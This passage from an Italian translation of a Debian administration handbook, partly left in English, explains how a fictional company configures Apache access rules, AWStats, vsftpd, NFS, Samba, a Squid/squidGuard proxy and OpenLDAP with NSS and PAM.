11.2.4.2. Limitare l'accesso

The Require directive controls access restrictions for a directory (and its subdirectories, recursively).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Può essere usata per limitare l'accesso in base a molti criteri; ci soffermeremo alla descrizione delle limitazioni di accesso in base all'indirizzo IP del client, ma possono essere apllicate politiche ancora più restrittive, in particolare quando più direttive Require sono combinate all'interno di un blocco RequireAll.

Esempio 11.17. Consenti solo dalla rete locale

Require ip 192.168.0.0/16

ALTERNATIVA Vecchia sintassi

The Require syntax is only available in Apache 2.4 (the version shipped since Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using the mod_access_compat module.

Le direttive Allow from e Deny from controllano le restrizioni di accesso ad una directory (e ricorsivamente, le sottodirectory).

La direttiva Order comunica al server l'ordine con cui le direttive Allow from e Deny from devono essere applicate: l'ultima che corrisponde ha la precedenza. In parole povere, Order deny,allow consente l'accesso se nessuna direttiva Deny from è soddisfatta oppure se lo è una direttiva Allow from. Al contrario Order allow,deny rifiuta l'accesso se nessuna direttiva Allow from è soddisfatta (oppure se lo è una direttiva Deny from).

Le direttive Allow from e Deny from possono essere seguite da un indirizzo IP, da una rete (come 192.168.0.0/255.255.255.0, 192.168.0.0/24 o anche 192.168.0), un nome host oppure un nome di dominio, o ancora dalla parola chiave all che indica tutti.

Ad esempio, per rifiutare di default le connessioni ma permetterle dalla rete locale, è possibile utilizzare questo:

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.5. Analizzatori di log

Nel server web viene spesso installato un analizzatore di log: quest'ultimo fornisce agli amministratori una idea precisa riguardo le modalità d'utilizzo cui è sottoposto.

Gli amministratori della Falcot Corporation hanno scelto AWStats (Advanced Web Statistics) per analizzare i loro file log di Apache.

Il primo passo per la configurazione è personalizzazione del file /etc/awstats/awstats.conf.Gli amministratori della Falcot lo mantengono così com'è modificando solo i parametri seguenti:

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

LoadPlugin="tooltips"

Tutti questi parametri sono documentati dai commenti nel file modello. In particolare i parametri LogFile e LogFormat descrivono la posizione ed il formato del file di log e le informazioni che contiene: SiteDomain e HostAliases elencano i vari nomi con cui il sito web principale viene indicato.

Per siti con molto traffico, DNSLookup non dovrebbe essere impostato a 1 ma per i siti minori, come quello della Falcot descritto in precedenza, questa impostazione permette di avere dei resoconti più leggibili che includono il nome completo delle macchine anziché il semplice indirizzo IP.

SICUREZZA Accesso alle statistiche

AWStats rende disponibili le sue statistiche sul sito web senza alcuna restrizione in via predefinita ma le restrizioni possono essere attivate così che solo pochi indirizzi IP (probabilmente interni) possano accedervi: la lista degli indirizzi IP autorizzati dev'essere definita nel parametro AllowAccessFromWebToFollowingIPAddresses

AWStats sarà anche attivato per gli altri host virtuali: ogni host virtuale richiede il proprio file di configurazione, come /etc/awstats/awstats.www.falcot.org.conf.

Esempio 11.18. File di configurazione di AWStats per un host virtuale

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

AWStats usa molte delle icone conservate nella directory /usr/share/awstats/icon/. Perché queste icone siano disponibili sul sito web la configurazione di Apache dev'essere adattata per includere la seguente direttiva:

Alias /awstats-icon/ /usr/share/awstats/icon/

Dopo qualche minuto (e una volta che lo script è stato eseguito qualche volta) i risultati saranno visibili online:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

ATTENZIONE Rotazione dei file di log

Perché le statistiche prendano in considerazione tutti i log nell'account,AWStats necessita di essere eseguito subito prima che i file di log di Apache siano ruotati. Guardando la direttiva prerotate del file /etc/logrotate.d/apache2, questo si può ottenere aggiungendo un link simbolico a /usr/share/awstats/tools/update.sh in /etc/logrotate.d/httpd-prerotate:

$ cat /etc/logrotate.d/apache2

/var/log/apache2/*.log {

daily

missingok

rotate 14

compress

delaycompress

notifempty

create 644 root adm

sharedscripts

postrotate

if invoke-rc.d apache2 status > /dev/null 2>&1; then \

invoke-rc.d apache2 reload > /dev/null 2>&1; \

fi;

endscript

prerotate

if [ -d /etc/logrotate.d/httpd-prerotate ]; then \

run-parts /etc/logrotate.d/httpd-prerotate; \

fi; \

endscript

}

$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate

$ sudo ln -sf /usr/share/awstats/tools/update.sh \

/etc/logrotate.d/httpd-prerotate/awstats

Notare inoltre che i file di log creati da logrotate devono essere leggibili da chiunque, specialmente da AWStats. Nell'esempio visto prima, questo è assicurato dalla riga create 644 root adm (invece dei permessi 640 predefiniti).

11.3. Server di file FTP

FTP (File Transfer Protocol) è uno dei primi protocolli di Internet (la RFC 959 è stata rilasciata nel 1985!). È stato utilizzato per distribuire i file ancor prima che il Web nascesse (il protocollo HTTP è stato creato nel 1990 e formalmente definito nella sua versione 1.0 dalla RFC 1945 rilasciata nel 1996).

Questo protocollo consente sia l'invio che la ricezione di file: per questa ragione è ancora largamente utilizzato per applicare aggiornamenti a siti internet ospitati presso un provider Internet (o qualsiasi altra entità che ospita siti web). In questi casi l'accesso è reso sicuro dall'impiego di un identificativo utente ed una password. Dopo l'autenticazione il server FTP garantisce l'accesso in lettura e scrittura alla directory home dell'utente.

Altri server FTP vengono impiegati principalmente per distribuire file scaricabili dal pubblico (i pacchetti di Debian sono un buon esempio). Il contenuto di questi server è recuperato da altri server lontani geograficamente che a loro volta rendono disponibili i file agli utenti a loro più prossimi. Questo significa che l'autenticazione del client non è richiesta: conseguentemente questa modalità operativa è conosciuta come «FTP anonimo». Per essere precisi i client si autenticano con il nome utente anonymous e spesso, per convenzione, la password impiegata è l'indirizzo email dell'utente, anche se il server lo ignora.

Many FTP servers are available in Debian (ftpd[1], proftpd-basic, pyftpd and so on). The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

Installando il pacchetto viene creato un utente di sistema ftp. Questo account viene utilizzato per le connessioni FTP anonime, e la sua directory home (/srv/ftp/) è la radice dell'albero reso disponibile agli utenti che si collegano al servizio. La configurazione predefinita (in /etc/vsftpd.conf) richiede alcune modifiche per soddisfare il semplice bisogno di rendere disponibili file di grandi dimensioni per il download pubblico: l'acesso anonimo deve essere abilitato (anonymous_enable=YES) e l'accesso in sola lettura degli utenti locali deve essere disattivato (local_enable=NO). Quest'ultima è particolarmente importante dal momento che il protocollo FTP non usa alcuna forma di crittografia e la password utente potrebbe essere intercettata.

[1] The ftpd package is not included in Debian Buster due to a bug, which could not be solved before the release.

11.4. Server di file NFS

NFS (Network File System) is a protocol allowing remote access to a filesystem through the network. All Unix systems can work with this protocol.

SPECIFIC CASE Microsoft Windows and NFS Shares

When older or (so called) "Home" variants of Windows are involved, usually Samba (Sezione 11.5, «Configurare condivisioni Windows con Samba») must be used instead of NFS. Modern Windows Server and "Pro" or "Enterprise" Desktop solutions however have built-in support for NFS. After installation of the "Services for NFS" components NFS shares can be accessed and temporarily or permanently mounted like any other network share. Be aware of possible encoding issues in file names.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS è uno strumento molto utile ma, storicamente, ha sempre sofferto di molte limitazioni, la maggior parte delle quali sono state affrontate con la versione 4 del protocollo. Lo svantaggio è che l'ultima versione di NFS è più difficile da configurare quando si desidera fare uso di funzionalità di sicurezza di base come l'autenticazione e la crittografia di dati che si basa su Kerberos. E senza quelle, il protocollo NFS deve essere limitato a una rete locale fidata (trusted) in quanto i dati passano attraverso la rete in chiaro (una sniffer può intercettarli) ed i diritti di accesso sono concessi in base all'indirizzo IP del client (che può essere falsificato).

DOCUMENTAZIONE NFS HOWTO

Good documentation to deploy NFSv4 is rather scarce. Here are some pointers with content of varying quality but that should at least give some hints on what should be done.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Mettere in sicurezza NFS

Se non si utilizzano le funzioni di sicurezza basate su Kerberos, è vitale assicurarsi che solo le macchine autorizzate all'uso di NFS possano connettersi ai vari server RPC richiesti, in quanto il protocollo di base si fida dei dati ricevuti dalla rete. Il firewall deve inoltre bloccare l'IP spoofing per prevenire che macchine esterne possano agire come una interna, e limitare l'accesso alle porte appropriate alle solo macchine che devono accedere alle condivisioni NFS.

FONDAMENTALI RPC

RPC (Remote Procedure Call) è uno standard Unix per i servizi remoti. NFS è uno di questi servizi.

I servizi RPC si registrano in una directory conosciuta con il nome di portmapper. Un client che desidera eseguire una richiesta NFS contatta prima di tutto il portmapper (sulla porta 111, TCP o UDP) e chiede del server NFS: la risposta generalmente menziona la porta 2049 (quella predefinita per NFS). Non tutti i servizi RPC necessariamente usano una porta fissa.

Le vecchie versioni del protocollo richiedono altri servizi RPC che usano porte assegnate dinamicamente. Fortunatamente, con NFS versione 4, sono necessarie solo porta 2049 (per NFS) e 111 (per il portmapper) e sono quindi facili da filtrare sul firewall.

11.4.2. Server NFS

Il server NFS è parte del kernel Linux: nei kernel forniti da Debian è compilato come modulo. Se il server NFS è eseguito automaticamente all'avvio il pacchetto nfs-kernel-server dev'essere installato poiché contiene gli script di avvio necessari.

Il file di configurazione del server NFS, /etc/exports, elenca le directory che vengono rese disponibili attraverso la rete (esportate). Per ogni condivisione NFS l'accesso è garantito solo alla lista di macchine fornita. Un controllo degli accessi più accurato può essere ottenuto con qualche opzione. La sintassi di questo file è piuttosto semplice:

/directory/da/condividere macchina1(opzione1,opzione2,...) macchina2(...) ...

Si noti che con NFSv4, tutte le directory esportate devono essere parte di un unica gerarchia e che la directory radice di quella gerarchia deve essere esportata e identificata con l'opzione fsid=0 oppure fsid=root.

Ogni macchina può essere identificata sia dal suo nome DNS che dal suo IP. È anche possibile specificare un intero insieme di macchine utilizzando una sintassi come *.falcot.com o un intervallo di indirizzi IP come 192.168.0.0/255.255.255.0 o 192.168.0.0/24.

Le directory sono rese disponibili in sola lettura in via predefinita (o con l'opzione ro). L'opzione rw permette l'accesso in lettura e scrittura. I client NFS si connettono tipicamente da una porta riservata a root (in altre parole inferiore a 1024): questa restrizione può essere sospesa con l'opzione insecure (l'opzione secure è implicita ma può essere resa esplicita, se necessario, per rendere le cose più chiare).

Per impostazione predefinita il server risponde ad una richiesta NFS unicamente quando l'operazione corrente sul disco è completata (opzione sync); questo comportamento può essere disabilitato con l'opzione async. La scrittura asincrona può aumentare un po' le prestazioni, ma diminuisce l'affidabilità poiché c'è il rischio di perdere dati nel caso in cui il server subisca un crash tra la conferma di scrittura e la reale scrittura sul disco. Poiché il valore predefinito è cambiato recentemente (rispetto al valore storico di NFS), si raccomanda di rendere esplicita questa impostazione.

In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody user. This behavior corresponds to the root_squash option, and is enabled by default. The no_root_squash option, which disables this behavior, is risky and should only be used in controlled environments. If all users should be mapped to the user nobody, use all_squash. The anonuid=uid and anongid=gid options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user nobody and group nogroup).

Con NFSv4, è possibile aggiungere l'opzione sec per indicare il livello di protezione desiderato: sec=sys è l'impostazione predefinita senza particolari caratteristiche di sicurezza, sec=krb5 abilita solo l'autenticazione, sec=krb5i aggiunge protezione di integrità, e sec=krb5p è il livello più completo che comprende la tutela della privacy (con crittografia dei dati). Per questo lavoro bisogna lavorare alla configurazione di Kerberos (questo servizio non è coperto da questo libro).

Sono disponibili altre opzioni: sono documentate nella pagina di manuale exports(5).

ATTENZIONE Prima installazione

The /etc/init.d/nfs-kernel-server boot script only starts the server if /etc/exports lists one or more valid NFS shares. On initial configuration, once this file has been edited to contain valid entries, the NFS server must therefore be started with the following command:

# systemctl start nfs-kernel-server

11.4.3. Client NFS

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntaxes of the mount command and the /etc/fstab file.

Esempio 11.19. Montare manualmente con il comando mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Esempio 11.20. Condivisione NFS nel file /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

The entry described above mounts, at system startup, the NFS directory /shared/ from the arrakis server into the local /srv/shared/ directory. Read-write access is requested (hence the rw parameter). The nosuid option is a protection measure that wipes any setuid or setgid bit from programs stored on the share. If the NFS share is only meant to store documents, another recommended option is noexec, which prevents executing programs stored on the share. Note that on the server, the shared directory is below the NFSv4 root export (for example /export/shared), it is not a top-level directory.

La pagina di manuale nfs(5) descrive tutte le opzioni dettagliatamente.

11.5. Configurare condivisioni Windows con Samba

Samba è una raccolta di strumenti per gestire il protocollo SMB (chiamato anche "CIFS") su Linux. Questo protocollo è utilizzato da Windows per le condivisioni di rete e le stampanti condivise.

Samba can also act as a Windows domain controller. This is an outstanding tool for ensuring seamless integration of Linux servers and the office desktop machines still running Windows.

11.5.1. Server Samba

Il pacchetto samba contiene i due server principali di Samba 4, smbd e nmbd.

DOCUMENTAZIONE Andiamo oltre

Il server Samba è estremamente configurabile e versatile, e può assolvere efficacemente a molti casi d'utilizzo che corrispondono ad esigenze ed architetture di rete molto differenti. Questo libro si focalizza sull'utilizzo di Samba come server standalone, ma può anche essere impiegato come Controller di Dominio NT4 o come full Controller di un Dominio Active Directory, o come semplice membro di un dominio esistente (che potrebbe essere gestito da un server Windows).

The samba package contains all the necessary manual pages and in /usr/share/doc/samba/examples/ a wealth of commented example files. If you are looking for a more comprehensive documentation, you may check the Samba website.

→ https://www.samba.org/samba/docs/

STRUMENTO Autenticarsi con un Server Windows

Winbind fornisce agli amministratori di sistema l'opzione per utilizzare un server Windows NT come server d'autenticazione. Inoltre Winbind si integra bene con PAM e NSS. Questo permette di configurare postazioni Linux dove tutti gli utenti di un dominio Windows ottengono automaticamente un account.

More information can be found in the /usr/share/doc/libpam-winbind/examples/pam_winbind/ directory of the libpam-winbind package.

11.5.1.1. Configurare con debconf

The package sets up a minimal configuration during the initial installation by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

On first installation the only piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET in our case).

In case of a package update (from the old stable Debian version) or if the SMB server has already been configured to use a WINS server (wins server), the package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.

11.5.1.2. Configurazione manuale

11.5.1.2.1. Modifiche a smb.conf

Le necessità della Falcot richiedono che altre opzioni siano modificate nel file di configurazione /etc/samba/smb.conf. Gli estratti seguenti riassumono le modifiche applicate alla sezione [global].

[...]

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = FALCOTNET

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes

[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible

# values are "standalone server", "member server", "classic primary

# domain controller", "classic backup domain controller", "active

# directory domain controller".

#

# Most people will want "standalone server" or "member server".

# Running as "active directory domain controller" will require first

# running "samba-tool domain provision" to wipe databases and create a

# new domain.

server role = standalone server

obey pam restrictions = yes

[...]

# "security = user" is always a good idea. This will require a Unix account

# in this server for every user accessing the server.

security = user

[...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option has been removed from the default configuration in Buster and must be added manually if desired.

Questo è il valore predefinito per questo parametro. Ad ogni modo, poiché è un punto chiave per la configurazione di Samba, è raccomandato indicare esplicitamente la propria scelta. Ogni utente deve autenticarsi prima di accedere a qualsiasi condivisione.

11.5.1.2.2. Aggiungere utenti

Ogni utente Samba necessita di un account sul server. L'account Unix dev'essere creato per primo, quindi l'utente dev'essere registrato nel database di Samba. La creazione dell'account Unix viene eseguita normalmente (utilizzando per esempio adduser).

Un utente esistente viene aggiunto al database di Samba con il comando smbpasswd -a utente: questo comando chiede di inserire la password in modalità interattiva.

Un utente può essere cancellato con il comando smbpasswd -x utente. Un account Samba può anche essere disabilitato temporaneamente con smbpasswd -d utente ed essere riabilitato in seguito con smbpasswd -e utente.

11.5.2. Client Samba

Le funzionalità client in Samba permettono ad una macchina Linux di accedere alle condivisioni Windows ed alle stampanti condivise. I programmi richiesti sono disponibili nei pacchetti cifs-utils e smbclient.

11.5.2.1. Il programma smbclient

Il programma smbclient interroga i server SMB. Accetta una opzione -U utente per connettersi al server attraverso una specifica identità. smbclient //server/condivisione accede alla condivisione con una modalità interattiva simile alla riga di comando dei client FTP. smbclient -L server elenca tutte le condivisioni disponibili (e visibili) sul server.

11.5.2.2. Montare le condivisioni Windows

Il comando mount permette di montare una condivisione Windows all'interno della gerarchia di un filesystem Linux (con l'aiuto di mount.cifs fornito da cifs-utils).

Esempio 11.21. Montare una condivisione Windows

mount -t cifs //arrakis/shared /shared \

-o credentials=/etc/smb-credentials

Il file /etc/smb-credentials (che non dev'essere leggibile dagli utenti) ha il seguente formato:

username = utente

password = password

Altre opzioni possono essere specificate dalla riga di comando. La lista completa è disponibile nella pagina di manuale smbmount(1). Due opzioni in particolare possono risultare interessanti: uid e gid consentono di forzare l'assegnazione del proprietario ed del gruppo dei file disponibili al mount, così da non limitare l'accesso a root.

Il montaggio (mount) di una condivisione Windows può anche essere configurato in /etc/fstab:

//server/shared /shared cifs credentials=/etc/smb-credentials

Lo smontaggio di una condivisione SMB/CIFS è fatto con il comando standard umount.

11.5.2.3. Stampare su una stampante condivisa

CUPS è una soluzione elegante per stampare da una workstation Linux su di una stampante condivisa da una macchina Windows. Quando il smbclient è installato, CUPS consente l'installazione automatica delle stampanti Windows condivise.

Seguono i passi richiesti:

- Accesso all'interfaccia di configurazione di CUPS: http://localhost:631/admin

- Clicca su "Add Printer".

- Scegliere la stampante, selezionare “Windows Printer via SAMBA”.

- Inserire l'URI per la stampante di rete. Dovrebbe essere simile al seguente:
smb://utente:password@server/stampante.

- Inserire il nome che identificherà in modo univoco questa stampante. Quindi inserire la descrizione e la posizione della stampante. Queste sono le stringhe che verranno mostrate agli utenti finali per aiutarli ad identificare le stampanti.

- Identificare il produttore/modello della stampante, ofornire direttamente un file di descrizione della stampante di lavoro (PPD).

Voilà, la stampante è operativa!

11.6. Proxy HTTP/FTP

Un proxy FTP/HTTP agisce come intermediario per connessioni HTTP o FTP. Il ruolo è duplice:

- Cache: i documenti scaricati di recente sono copiati localmente, cosa che previene scaricamenti multipli.

- Server di filtraggio: se l'utilizzo del proxy è obbligato (e le connessioni in uscita sono bloccate a meno che non transitino per il proxy) allora il proxy può determinare quando soddisfare o negare una richiesta.

La Falcot Corporation ha scelto Squid come server proxy.

11.6.1. Installazione

The squid[2] Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

Prima dell'installazione bisogna accertarsi di controllare che il sistema possa identificarsi con il proprio nome completo: hostname -f deve restituire un nome pienamente qualificato (che include il dominio). Se così non è allora il file /etc/hosts dev'essere modificato per contenere il nome completo del sistema (per esempio, arrakis.falcot.com). Il nome ufficiale del computer dev'essere verificato con l'amministratore di rete per evitare potenziali conflitti di nome.

11.6.2. Configurare una cache

Enabling the caching server feature is a simple matter of editing the /etc/squid/squid.conf configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:

Esempio 11.22. The /etc/squid/squid.conf file (excerpts)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

#

include /etc/squid/conf.d/*

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks

# from where browsing should be allowed

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

http_access allow localhost

# And finally deny all other access to this proxy

http_access deny all

11.6.3. Configurare un filtro

squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid/squid.conf file:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi.gz as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the service squid reload command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

Il database di produzione dev'essere rigenerato con update-squidguard dopo ogni modifica del file di configurazione di squidGuard (oppure di una delle liste di domini o URL che menziona). La sintassi del file di configurazione è documentata nel sito web:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (a DansGuardian Fork)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, but it can take advantage of the PICS[3] (Platform for Internet Content Selection) to decide whether a page is acceptable by dynamic analysis of its contents.

[2] The squid3 package, providing Squid until Debian Jessie, is now a transitional package and will automatically install squid.

[3] PICS has been superseded by the Protocol for Web Description Resources (POWDER system: https://www.w3.org/2009/08/pics_superseded.html.

11.7. Directory LDAP

OpenLDAP è un'implementazione del protocollo LDAP; in altre parole, si tratta di un database progettato con lo speciale scopo di conservare directory. Il caso d'uso più comune, è l'impiego di un server LDAP per permettere di centralizzare la gestione degli account utente ed i relativi permessi. Inoltre, un database LDAP è facilmente replicato, cosa che permette di impostare sincronizzazioni multiple con altri server LDAP. Quando la rete e la base utenti crescono velocemente, il carico può essere bilanciato tra i vari server.

I dati di LDAP sono strutturati e gerarchici. La struttura è definita attraverso «schemi» che descrivono il tipo di oggetti che il database può contenere, con una lista di tutti i loro possibili attributi. La sintassi usata per riferirsi ad un particolare oggetto nel database è basata su questa struttura, cosa che spiega la sua complessità.

11.7.1. Installazione

Il pacchetto slapd contiene il server OpenLDAP. Il pacchetto ldap-utils include strumenti a riga di comando per interagire con i server LDAP.

Installing slapd usually asks only for the administrator's password and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:

- Omettere la configurazione del server OpenLDAP? No, naturalmente vogliamo configurare questo servizio.

- Nome di dominio DNS: “falcot.com”.

- Nome dell'organizzazione: “Falcot Corp”.

- Dev'essere inserita una password amministrativa.

- Database di backend da usare: “MDB”.

- Eliminare il database in caso di rimozione completa di slapd? No. Non ha senso rischiare di perdere il database in caso di uno sbaglio.

- Spostare il vecchio database? Questa domanda è posta solamente quando viene tentata un configurazione ed un database è già presente. Rispondere «sì» se si desidera ricominciare da un database pulito, per esempio se si esegue dpkg-reconfigure slapd subito dopo la prima installazione.

FONDAMENTALI Il formato LDIF

Un file LDIF (LDAP Data Interchange Format) è un file di testo portabile che descrive il contenuto di un database LDAP (o di una sua porzione): può quindi essere usato per inserire dati in qualsiasi altro server LDAP.

Un database minimale è attualmente configurato, come dimostra la seguente richiesta:

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope subtree

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 3

# numEntries: 2

La richiesta restituisce due oggetti: l'organizzazione stessa e l'utente amministrativo.

11.7.2. Riempire la directory

Dato che un database vuoto non è particolarmente utile, ci apprestiamo ad inserire al suo interno tutte le directory esistenti; inclusi i database degli utenti, dei gruppi, dei servizi e degli host.

Il pacchetto migrationtools fornisce un insieme di script dedicati ad estrarre i dati dalle directory standard di Unix (/etc/passwd, /etc/group, /etc/services, /etc/hosts e così via), convertire questi dati ed inserirli all'interno del database LDAP.

Dopo averlo installato il pacchetto il file /etc/migrationtools/migrate_common.ph dev'essere modificato. Le opzioni IGNORE_UID_BELOW e IGNORE_GID_BELOW devono essere abilitate (è sufficiente decommentarle), e DEFAULT_MAIL_DOMAINDEFAULT_BASE devono essere aggiornate.

La reale operazione di migrazione è gestita dal comando migrate_all_online.sh, come segue:

# cd /usr/share/migrationtools

# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh rivolge alcune domande a proposito del database LDAP nel quale si vogliono migrare i dati. Tabella 11.1 riassume le risposte fornite nel caso d'uso della Falcot.

Tabella 11.1. Le risposte fornite alle domande poste dallo script migrate_all_online.sh

Domanda

Risposta

X.500 naming context

dc=falcot,dc=com

Nome host del server LDAP

localhost

Manager DN

cn=admin,dc=falcot,dc=com

Bind credentials

la password amministrativa

Create DUAConfigProfile

no

Abbiamo deliberatamente ignorato la migrazione del file /etc/aliases dato che lo schema standard fornito da Debian non include le strutture che utilizza questo script per gli alias email. Se dovessimo integrare questi dati nella directory il file /etc/ldap/schema/misc.schema dovrebbe essere aggiunto allo schema standard.

STRUMENTO Consultare una directory LDAP

Il comando jxplorer (contenuto nell'omonimo pacchetto) è uno strumento grafico per navigare e modificare un database LDAP. È uno strumento interessante che garantisce all'amministratore una buona panoramica sulla struttura gerarchica dei dati LDAP.

Notare altresì l'uso dell'opzione -c con il comando ldapadd: questa opzione richiede che l'elaborazione non si interrompa in caso di errori. Utilizzare questa opzione è necessario poiché convertire il database /etc/services genera spesso qualche errore che può essere ignorato senza conseguenze.

11.7.3. Gestire gli account con LDAP

Ora il database LDAP contiene diverse informazioni utili ed è giunto il momento di sfruttarle. Questa sezione si concentra su come configurare un sistema Linux per far sì che le varie directory di sistema utilizzino il database LDAP.

11.7.3.1. Configurare NSS

Il sistema NSS (Name Service Switch, si veda il riquadro APPROFONDIMENTI NSS ed i database di sistema) è un sistema modulare progettato per definire o recuperare informazioni sulle directory di sistema. Utilizzare LDAP come sorgente di dati per NSS richiede l'installazione del pacchetto libnss-ldap. La sua installazione pone alcune domande; le risposte sono riassunte nella Tabella 11.2.

Tabella 11.2. Configurare il pacchetto libnss-ldap

Domanda

Risposta

L'Uniform Resource Identifier del server LDAP

ldapi://ldap.falcot.com

Il nome distintivo per la base di ricerca

dc=falcot,dc=com

La versione di LDAP da utilizzare

3

L'account LDAP per root

cn=admin,dc=falcot,dc=com

La password per l'account root di LDAP

la password amministrativa

Allow LDAP admin account behave like local root?

yes

Il database LDAP deve richiedere il login?

no

The /etc/nsswitch.conf file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module. You can use the example provided in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap or edit your existing configuration.

Esempio 11.23. Il file /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $

#

# An example file that could be copied over to /etc/nsswitch.conf; it

# uses LDAP conjunction with files.

#

# "hosts:" and "services:" in this file are used only if the

# /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports.

# the following lines obviate the "+" entry in /etc/passwd and /etc/group.

passwd:                files ldap

shadow:                files ldap

group:                files ldap

# consult DNS first, we will need it to resolve the LDAP host. (If we

# can't resolve it, we're in infinite recursion, because libldap calls

# gethostbyname(). Careful!)

hosts:                dns ldap

# LDAP is nominally authoritative for the following maps.

services:   ldap [NOTFOUND=return] files

networks:   ldap [NOTFOUND=return] files

protocols:  ldap [NOTFOUND=return] files

rpc:        ldap [NOTFOUND=return] files

ethers:     ldap [NOTFOUND=return] files

# no support for netmasks, bootparams, publickey yet.

netmasks:   files

bootparams: files

publickey:  files

automount:  files

# I'm pretty sure nsswitch.conf is consulted directly by sendmail,

# here, so we can't do much here. Instead, use bbense's LDAP

# rules ofr sendmail.

aliases:    files

sendmailvars:   files

# Note: there is no support for netgroups on Solaris (yet)

netgroup:   ldap [NOTFOUND=return] files

Il modulo ldap è generalmente inserito prima degli altri, e sarà di conseguenza richiamato per primo. L'unica eccezione degna di nota è il servizio hosts dato che contattare il server LDAP richiede prima la consultazione del DNS (per risolvere ldap.falcot.com). Senza questa eccezione, la richiesta cercherebbe di contattare il server LDAP; questo causerebbe un tentativo di risoluzione del nome per il server LDAP, e così via in un ciclo infinito.

Se il server LDAP dev'essere considerato autoritativo (e i file locali utilizzati dal modulo files ignorati) i servizi possono essere configurati con la seguente sintassi:

servizio: ldap [NOTFOUND=return] files.

Se l'entità richiesta non esiste nel database LDAP, la richiesta restituirà una risposta «non esistente» anche se la risorsa esiste in uno dei file locali: questi file locali saranno utilizzati unicamente quando il servizio LDAP non è raggiungibile.

11.7.3.2. Configurare PAM

Questa sezione descrive una configurazione di PAM (si veda il riquadro DIETRO LE QUINTE /etc/environment e /etc/default/locale) che consentirà alle applicazioni di eseguire le autenticazioni richieste attraverso il database LDAP.

ATTENZIONE Rischio di rendere l'autenticazione inutilizzabile

Cambiare la configurazione standard di PAM utilizzata da vari programmi è un'operazione delicata. Un errore può portare all'impossibiltà di autenticarsi ovvero potrebbe impedire il login. Mantenere una shell aperta con root è una buona precauzione. Se si verificano errori potranno sempre essere corretti ed i servizi riavviati con uno sforzo minimo.

Il modulo LDAP per PAM è fornito dal pacchetto libpam-ldap. L'installazione di questo pacchetto pone alcune domande molto simili a quelle viste con libnss-ldap: alcuni parametri di configurazione (come l'URI del server LDAP) sono in realtà persino condivisi con il pacchetto libnss-ldap. Le risposte sono riassunte in Tabella 11.3.

